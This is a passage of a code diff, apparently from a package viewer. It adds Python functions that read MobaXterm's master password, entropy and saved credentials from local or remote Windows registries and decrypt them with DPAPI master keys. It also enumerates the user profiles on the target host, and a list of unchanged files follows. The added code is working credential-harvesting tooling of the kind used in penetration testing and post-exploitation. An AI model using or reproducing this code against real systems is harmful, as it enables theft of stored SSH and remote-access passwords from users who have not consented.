|
+
if logging.getLogger().level == logging.DEBUG:
|
|
172
|
+
import traceback
|
|
173
|
+
traceback.print_exc()
|
|
174
|
+
logging.debug(str(e))
|
|
175
|
+
|
|
176
|
+
|
|
177
|
+
try:
|
|
178
|
+
key_path = ntpath.join(self.mobaxterm_registry_key_path,self.mobaxterm_masterpassword_registry_key)
|
|
179
|
+
new_key = reg.findKey(key_path)
|
|
180
|
+
values = reg.enumValues(new_key)
|
|
181
|
+
data = reg.getValue(ntpath.join(key_path,values[-1].decode("utf-8")))
|
|
182
|
+
username, host = values[-1].decode("utf-8").split("@")
|
|
183
|
+
mobaxterm_masterpassword_key = MobaXtermMasterPassword(
|
|
184
|
+
winuser=user,
|
|
185
|
+
username=username,
|
|
186
|
+
host=host,
|
|
187
|
+
entropy=entropy,
|
|
188
|
+
masterpassword_raw_value=data[1],
|
|
189
|
+
)
|
|
190
|
+
except Exception as e:
|
|
191
|
+
if logging.getLogger().level == logging.DEBUG:
|
|
192
|
+
import traceback
|
|
193
|
+
traceback.print_exc()
|
|
194
|
+
logging.debug(str(e))
|
|
195
|
+
|
|
196
|
+
try:
|
|
197
|
+
key_path = ntpath.join(self.mobaxterm_registry_key_path,self.mobaxterm_credentials_registry_key)
|
|
198
|
+
key = reg.findKey(key_path)
|
|
199
|
+
values = reg.enumValues(key)
|
|
200
|
+
logging.debug(f"Found {len(values)} Mobaxterm Credentials for user {user}")
|
|
201
|
+
for value in values:
|
|
202
|
+
data = reg.getValue(ntpath.join(key_path, value.decode('latin-1')))
|
|
203
|
+
username, password_encrypted = data[1].decode('latin-1').split(':')
|
|
204
|
+
mobaxterm_credential = MobaXtermCredential(
|
|
205
|
+
winuser=user,
|
|
206
|
+
name=value.decode('latin-1'),
|
|
207
|
+
username=username,
|
|
208
|
+
password_encrypted=password_encrypted,
|
|
209
|
+
)
|
|
210
|
+
mobaxterm_credentials.append(mobaxterm_credential)
|
|
211
|
+
except Exception as e:
|
|
212
|
+
if logging.getLogger().level == logging.DEBUG:
|
|
213
|
+
import traceback
|
|
214
|
+
traceback.print_exc()
|
|
215
|
+
logging.debug(str(e))
|
|
216
|
+
|
|
217
|
+
try:
|
|
218
|
+
key_path = ntpath.join(self.mobaxterm_registry_key_path,self.mobaxterm_passwords_registry_key)
|
|
219
|
+
key = reg.findKey(key_path)
|
|
220
|
+
values = reg.enumValues(key)
|
|
221
|
+
logging.debug(f"Found {len(values)} Mobaxterm Passwords for user {user}")
|
|
222
|
+
for value in values:
|
|
223
|
+
data = reg.getValue(ntpath.join(key_path, value.decode('utf-8')))
|
|
224
|
+
mobaxterm_credential = MobaXtermPassword(
|
|
225
|
+
winuser=user,
|
|
226
|
+
username=value.decode('latin-1'),
|
|
227
|
+
password_encrypted=data[-1].decode('latin-1')
|
|
228
|
+
)
|
|
229
|
+
mobaxterm_credentials.append(mobaxterm_credential)
|
|
230
|
+
except Exception as e:
|
|
231
|
+
if logging.getLogger().level == logging.DEBUG:
|
|
232
|
+
import traceback
|
|
233
|
+
traceback.print_exc()
|
|
234
|
+
logging.debug(str(e))
|
|
235
|
+
return mobaxterm_masterpassword_key, mobaxterm_credentials
|
|
236
|
+
|
|
237
|
+
def decrypt_mobaxterm_masterpassword(self, mobaxterm_masterpassword: MobaXtermMasterPassword, entropy: bytes = None) -> None:
|
|
238
|
+
if entropy is not None:
|
|
239
|
+
mobaxterm_masterpassword.entropy = entropy
|
|
240
|
+
mobaxterm_masterpassword.decrypt_masterpassword_raw_value(masterkeys=self.masterkeys)
|
|
241
|
+
|
|
242
|
+
def decrypt_mobaxterm_password(self, mobaxterm_password: "MobaXtermCredential|MobaXtermPassword", mobaxterm_masterpassword: MobaXtermMasterPassword) -> None:
|
|
243
|
+
mobaxterm_password.decrypt(masterpassword_key=mobaxterm_masterpassword.masterpassword_decrypted)
|
|
244
|
+
|
|
245
|
+
def extract_mobaxtermkeys_for_user_from_remote_registry(self, user: str, sid: str) -> Tuple[MobaXtermMasterPassword, List["MobaXtermCredential | MobaXtermPassword"]]:
|
|
246
|
+
self.conn.enable_remoteops()
|
|
247
|
+
|
|
248
|
+
entropy = None
|
|
249
|
+
mobaxterm_masterpassword_key = None
|
|
250
|
+
mobaxterm_credentials = []
|
|
251
|
+
|
|
252
|
+
# Extract entropy
|
|
253
|
+
ans = rrp.hOpenUsers(self.conn.remote_ops._RemoteOperations__rrp)
|
|
254
|
+
regHandle = ans["phKey"]
|
|
255
|
+
regKey = ntpath.join(sid,self.mobaxterm_registry_key_path)
|
|
256
|
+
keyHandle = None
|
|
257
|
+
try:
|
|
258
|
+
ans2 = rrp.hBaseRegOpenKey(self.conn.remote_ops._RemoteOperations__rrp, regHandle, regKey, samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
|
|
259
|
+
keyHandle = ans2["phkResult"]
|
|
260
|
+
_, entropy = rrp.hBaseRegQueryValue(self.conn.remote_ops._RemoteOperations__rrp, keyHandle, 'SessionP')
|
|
261
|
+
entropy = entropy.rstrip("\00").encode('utf-8')
|
|
262
|
+
rrp.hBaseRegCloseKey(self.conn.remote_ops._RemoteOperations__rrp, keyHandle)
|
|
263
|
+
except rrp.DCERPCSessionError as e:
|
|
264
|
+
if e.get_error_code() != ERROR_FILE_NOT_FOUND:
|
|
265
|
+
import traceback
|
|
266
|
+
traceback.print_exc()
|
|
267
|
+
logging.error(f"Error while hBaseRegOpenKey HKU\\{regKey}: {e}")
|
|
268
|
+
return None, []
|
|
269
|
+
|
|
270
|
+
# Extract M
|
|
271
|
+
try:
|
|
272
|
+
ans2 = rrp.hBaseRegOpenKey(self.conn.remote_ops._RemoteOperations__rrp, regHandle, ntpath.join(regKey,self.mobaxterm_masterpassword_registry_key), samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
|
|
273
|
+
keyHandle = ans2["phkResult"]
|
|
274
|
+
value = rrp.hBaseRegEnumValue(self.conn.remote_ops._RemoteOperations__rrp, keyHandle,0)
|
|
275
|
+
name, host = value["lpValueNameOut"].split("@")
|
|
276
|
+
mobaxterm_masterpassword_key = MobaXtermMasterPassword(
|
|
277
|
+
winuser=user,
|
|
278
|
+
entropy=entropy,
|
|
279
|
+
host=host,
|
|
280
|
+
username=name,
|
|
281
|
+
masterpassword_raw_value=b"".join(value["lpData"])
|
|
282
|
+
)
|
|
283
|
+
rrp.hBaseRegCloseKey(self.conn.remote_ops._RemoteOperations__rrp, keyHandle)
|
|
284
|
+
except Exception as e:
|
|
285
|
+
if logging.getLogger().level == logging.DEBUG:
|
|
286
|
+
import traceback
|
|
287
|
+
traceback.print_exc()
|
|
288
|
+
logging.debug(str(e))
|
|
289
|
+
|
|
290
|
+
# Extract C and P
|
|
291
|
+
for key in [self.mobaxterm_credentials_registry_key, self.mobaxterm_passwords_registry_key]:
|
|
292
|
+
ans2 = rrp.hBaseRegOpenKey(self.conn.remote_ops._RemoteOperations__rrp, regHandle, ntpath.join(regKey,key), samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
|
|
293
|
+
keyHandle = ans2["phkResult"]
|
|
294
|
+
i = 0
|
|
295
|
+
while True:
|
|
296
|
+
try:
|
|
297
|
+
value = rrp.hBaseRegEnumValue(self.conn.remote_ops._RemoteOperations__rrp, keyHandle, i)
|
|
298
|
+
data = b''.join(value["lpData"]).decode('latin-1')
|
|
299
|
+
name = value["lpValueNameOut"].rstrip("\00")
|
|
300
|
+
if ":" in data:
|
|
301
|
+
username, password_encrypted = data.split(":")
|
|
302
|
+
mobaxterm_credential = MobaXtermCredential(
|
|
303
|
+
winuser=user,
|
|
304
|
+
name=name,
|
|
305
|
+
username=username,
|
|
306
|
+
password_encrypted=password_encrypted,
|
|
307
|
+
)
|
|
308
|
+
else:
|
|
309
|
+
mobaxterm_credential = MobaXtermPassword(
|
|
310
|
+
winuser=user,
|
|
311
|
+
username=name,
|
|
312
|
+
password_encrypted=data
|
|
313
|
+
)
|
|
314
|
+
mobaxterm_credentials.append(mobaxterm_credential)
|
|
315
|
+
i += 1
|
|
316
|
+
except rrp.DCERPCSessionError as e:
|
|
317
|
+
if e.get_error_code() == ERROR_NO_MORE_ITEMS:
|
|
318
|
+
break
|
|
319
|
+
|
|
320
|
+
return mobaxterm_masterpassword_key, mobaxterm_credentials
|
|
321
|
+
|
|
322
|
+
@property
|
|
323
|
+
def users(self) -> List[str]:
|
|
324
|
+
if self._users is not None:
|
|
325
|
+
return self._users
|
|
326
|
+
|
|
327
|
+
users = dict()
|
|
328
|
+
userlist_key = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList"
|
|
329
|
+
|
|
330
|
+
self.conn.enable_remoteops()
|
|
331
|
+
ans = rrp.hOpenLocalMachine(self.conn.remote_ops._RemoteOperations__rrp)
|
|
332
|
+
regHandle = ans['phKey']
|
|
333
|
+
|
|
334
|
+
ans = rrp.hBaseRegOpenKey(self.conn.remote_ops._RemoteOperations__rrp, regHandle, userlist_key, samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
|
|
335
|
+
keyHandle = ans['phkResult']
|
|
336
|
+
|
|
337
|
+
sids = []
|
|
338
|
+
|
|
339
|
+
i = 0
|
|
340
|
+
while True:
|
|
341
|
+
try:
|
|
342
|
+
ans2 = rrp.hBaseRegEnumKey(self.conn.remote_ops._RemoteOperations__rrp, keyHandle, i)
|
|
343
|
+
sids.append(ans2["lpNameOut"])
|
|
344
|
+
except rrp.DCERPCSessionError as e:
|
|
345
|
+
if e.get_error_code() == ERROR_NO_MORE_ITEMS:
|
|
346
|
+
break
|
|
347
|
+
except Exception as e:
|
|
348
|
+
if logging.getLogger().level == logging.DEBUG:
|
|
349
|
+
import traceback
|
|
350
|
+
traceback.print_exc()
|
|
351
|
+
logging.error(e)
|
|
352
|
+
i +=1
|
|
353
|
+
rrp.hBaseRegCloseKey(self.conn.remote_ops._RemoteOperations__rrp, keyHandle)
|
|
354
|
+
for sid in sids:
|
|
355
|
+
ans = rrp.hBaseRegOpenKey(self.conn.remote_ops._RemoteOperations__rrp, regHandle, ntpath.join(userlist_key,sid), samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
|
|
356
|
+
keyHandle = ans['phkResult']
|
|
357
|
+
_, profile_path = rrp.hBaseRegQueryValue(self.conn.remote_ops._RemoteOperations__rrp, keyHandle, 'ProfileImagePath')
|
|
358
|
+
if r"%systemroot%" in profile_path:
|
|
359
|
+
continue
|
|
360
|
+
users[ntpath.basename(profile_path.rstrip("\0"))] = sid.rstrip("\0")
|
|
361
|
+
rrp.hBaseRegCloseKey(self.conn.remote_ops._RemoteOperations__rrp, keyHandle)
|
|
362
|
+
|
|
363
|
+
self._users = users
|
|
364
|
+
|
|
365
|
+
return self._users
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|